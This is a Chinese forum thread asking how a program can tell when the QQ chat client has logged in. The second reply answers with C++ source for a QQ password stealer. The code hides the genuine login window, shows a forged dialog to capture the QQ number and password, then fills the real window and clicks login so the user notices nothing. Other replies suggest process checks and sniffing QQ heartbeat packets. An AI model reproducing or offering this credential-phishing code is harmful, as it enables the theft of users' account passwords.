我现在要做一个程序,当QQ登录以后给出"QQ上线了"的提示.
我用什么方法可以得到 "QQ上线了" 这个消息呢?
请高手指点一下啊,给个思路也行!

解决方案 »

  1.   

    你说的是 你自己的电脑上的QQ登陆吗?
    笨一点的方法挺多的
    判断有没有qq.exe这个进程 当然 如果只有登陆窗口的话 也会有qq.exe进程的那你可以再加上 读取这个窗口的范围 看看是不是登陆窗口  如果不是那说明你的QQ已经登陆了 
    不过这样是不能判断是上线的还是离线还是 更高级的方法就暂时没有
      

  2.   

    BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID) 

     HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 
     PROCESSENTRY32 pe; 
     pe.dwSize = sizeof(PROCESSENTRY32); 
     if (!Process32First(hSnapshot, &pe)) { 
     return FALSE; 
     } 
     while (Process32Next(hSnapshot, &pe)) { 
     if (pe.th32ProcessID == PID) { 
     strcpy(lpszProcessName, pe.szExeFile); 
     return true; 
     } 
     } 
     
     return FALSE; 

     
    //查找QQ登录窗口 
    void QQFind() 

     HWND hWnd1 = NULL, qqID_hWnd = NULL, qqPass_hWnd = NULL; 
     HWND ButtonLogin = NULL, ButtonCancel = NULL; 
     char sTitle[255]; 
     CString ss; 
     DWORD QQPID; 
     int LoginID; 
     BOOL find = FALSE; 
     do 
     { 
     //获得当前激活窗口的句柄 
     g_hWnd = GetForegroundWindow(); 
     GetWindowThreadProcessId(g_hWnd, &QQPID); 
     //根据PID获得进程名 
     processIdToName(sTitle, QQPID); 
     ss = sTitle; 
     ss.MakeLower(); 
     //判断是否QQ 
     if(ss != "qq.exe") 
     { 
     Sleep(100); 
     continue; 
     } 
     
     //获得标题文字,判断是否登陆对话框 
     SendMessage(g_hWnd,WM_GETTEXT,255,(LPARAM)sTitle); 
     ss = sTitle; 
     int n = ss.Find("QQ", 0); 
     int m = ss.Find("登录", 0); 
     if(n >= 0 || m >= 0) 
     { 
     //查找QQ登陆按钮的句柄 
     ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录"); 
     LoginID = GetDlgCtrlID(ButtonLogin); 
     ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录"); 
     LoginID = GetDlgCtrlID(ButtonLogin); 
     //获得QQ登陆按钮窗口位置 
     GetWindowRect(ButtonLogin, &g_qqLogin);  //查找QQ取消按钮的句柄 
     ButtonCancel = FindWindowEx(g_hWnd, NULL, "Button", "取消"); 
     //获得QQ取消按钮窗口位置 
     GetWindowRect(ButtonCancel, &g_qqCancel);  //查找QQ密码输入框的句柄 
     hWnd1 = FindWindowEx(g_hWnd, NULL, "#32770", NULL); 
     if(hWnd1 != NULL) 
     { 
     qqPass_hWnd = FindWindowEx(hWnd1, qqPass_hWnd, "Edit", NULL); 
     //获得QQ密码输入框窗口位置 
     GetWindowRect(qqPass_hWnd, &g_qqPassRt); 
     } 
     
     //查找QQ号码输入框的句柄 
     hWnd1 = FindWindowEx(g_hWnd, NULL, "ComboBox", NULL); 
     if(hWnd1 != NULL) 
     { 
     qqID_hWnd = FindWindowEx(hWnd1, qqID_hWnd, "Edit", NULL); 
     //获得QQ号码输入框窗口位置 
     GetWindowRect(qqID_hWnd, &g_qqIDRt); 
     //获得当前默认QQ号码 
     SendMessage(qqID_hWnd,WM_GETTEXT, 255,(LPARAM)qqid); 
     } 
     
     //等待QQ窗口完全出现后抓取整个屏幕 
     Sleep(100); 
     g_DlgRt.left = 0; 
     g_DlgRt.top = 0; 
     g_DlgRt.right = m_xScreen; 
     g_DlgRt.bottom = m_yScreen; 
     g_pBitmap = CopyScreenToBitmap(&g_DlgRt); 
     
     //设置QQ窗口为不可见 
     ShowWindow(g_hWnd, SW_HIDE); 
     
     //弹出我们创建的伪造对话框 
     HINSTANCE hInstance = GetModuleHandle(NULL); 
     DialogBoxParam(hInstance, (LPCTSTR)IDD_WIN847, 0, (DLGPROC)win847, 0); 
     
     //设置QQ窗口为可见 
     ShowWindow(g_hWnd, SW_SHOW);  //把QQ号码和密码填到真正的QQ登录窗口上,并模拟单击登陆按钮 
     SendMessage(qqID_hWnd, WM_SETTEXT, 0, (LPARAM)qqid); 
     SendMessage(qqPass_hWnd, WM_SETTEXT, 0, (LPARAM)qqpass); 
     SendMessage(ButtonLogin, BM_CLICK, 0, 0);  DeleteObject(g_pBitmap); 
     //设置标志退出循环 
     find = true; 
     } 
     
     }  while(find == FALSE); 
    }  
      

  3.   

    可以抓取QQ的心跳包,QQ下线或断线时,此包不发,只有在登录状态时才发,由固定端口发出(QQ占用了不少端口)。
      

  4.   

    要判断上下线,还是 截包分析 可靠些
    找窗口,只能 判断 是否有 QQ.EXE 
      

  5.   

    这样子判断if(ss != "qq.exe")不妥吧,
    现在很多QQ的名字都不是这么来的, 比如:腾讯QQ2009.exe
    所以,还是截包更加准确。
    可是,截包挺麻烦的
      

  6.   

    QQ协议参考下面文章:
    http://www.joyvc.cn/NetworkAndCommunication/NetworkAndCommunication00040.html
    http://www.joyvc.cn/NetworkAndCommunication/NetworkAndCommunicationGroup00061.html